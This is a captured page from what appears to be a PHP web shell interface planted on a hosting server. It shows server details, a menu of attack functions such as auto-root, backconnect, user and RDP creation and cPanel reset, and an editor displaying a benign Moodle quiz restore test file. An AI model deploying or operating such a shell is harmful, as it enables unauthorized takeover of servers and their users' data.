Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.127.69
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
backup /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
async_backup_test.php
4.78
KB
-rw-r--r--
async_restore_test.php
5.61
KB
-rw-r--r--
automated_backup_test.php
15.25
KB
-rw-r--r--
course_copy_test.php
23.89
KB
-rw-r--r--
externallib_test.php
7.02
KB
-rw-r--r--
privacy_provider_test.php
19.78
KB
-rw-r--r--
quiz_restore_decode_links_test...
4.14
KB
-rw-r--r--
roles_backup_restore_test.php
6.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : quiz_restore_decode_links_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Decode links quiz restore tests. * * @package core_backup * @copyright 2020 Ilya Tregubov <mattp@catalyst-au.net> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); // Include all the needed stuff. global $CFG; require_once($CFG->dirroot . '/course/lib.php'); require_once($CFG->dirroot . '/backup/util/includes/restore_includes.php'); require_once($CFG->dirroot . '/question/engine/tests/helpers.php'); /** * restore_decode tests (both rule and content) */ class restore_quiz_decode_testcase extends \core_privacy\tests\provider_testcase { /** * Test restore_decode_rule class */ public function test_restore_quiz_decode_links() { global $DB, $CFG, $USER; $this->resetAfterTest(true); $this->setAdminUser(); $generator = $this->getDataGenerator(); $course = $generator->create_course( array('format' => 'topics', 'numsections' => 3, 'enablecompletion' => COMPLETION_ENABLED), array('createsections' => true)); $quiz = $generator->create_module('quiz', array( 'course' => $course->id)); // Create questions. $questiongenerator = $this->getDataGenerator()->get_plugin_generator('core_question'); $context = context_course::instance($course->id); $cat = $questiongenerator->create_question_category(array('contextid' => $context->id)); $question = $questiongenerator->create_question('multichoice', null, array('category' => $cat->id)); // Add to the quiz. quiz_add_quiz_question($question->id, $quiz); $questiondata = question_bank::load_question_data($question->id); $firstanswer = array_shift($questiondata->options->answers); $DB->set_field('question_answers', 'answer', $CFG->wwwroot . '/course/view.php?id=' . $course->id, ['id' => $firstanswer->id]); $secondanswer = array_shift($questiondata->options->answers); $DB->set_field('question_answers', 'answer', $CFG->wwwroot . '/mod/quiz/view.php?id=' . $quiz->cmid, ['id' => $secondanswer->id]); $thirdanswer = array_shift($questiondata->options->answers); $DB->set_field('question_answers', 'answer', $CFG->wwwroot . '/grade/report/index.php?id=' . $quiz->cmid, ['id' => $thirdanswer->id]); $fourthanswer = array_shift($questiondata->options->answers); $DB->set_field('question_answers', 'answer', $CFG->wwwroot . '/mod/quiz/index.php?id=' . $quiz->cmid, ['id' => $fourthanswer->id]); $newcm = duplicate_module($course, get_fast_modinfo($course)->get_cm($quiz->cmid)); $sql = "SELECT qa.id, qa.answer FROM {quiz} q LEFT JOIN {quiz_slots} qs ON qs.quizid = q.id LEFT JOIN {question_answers} qa ON qa.question = qs.questionid WHERE q.id = :quizid"; $params = array('quizid' => $newcm->instance); $answers = $DB->get_records_sql_menu($sql, $params); $this->assertEquals($CFG->wwwroot . '/course/view.php?id=' . $course->id, $answers[$firstanswer->id]); $this->assertEquals($CFG->wwwroot . '/mod/quiz/view.php?id=' . $quiz->cmid, $answers[$secondanswer->id]); $this->assertEquals($CFG->wwwroot . '/grade/report/index.php?id=' . $quiz->cmid, $answers[$thirdanswer->id]); $this->assertEquals($CFG->wwwroot . '/mod/quiz/index.php?id=' . $quiz->cmid, $answers[$fourthanswer->id]); } }
Close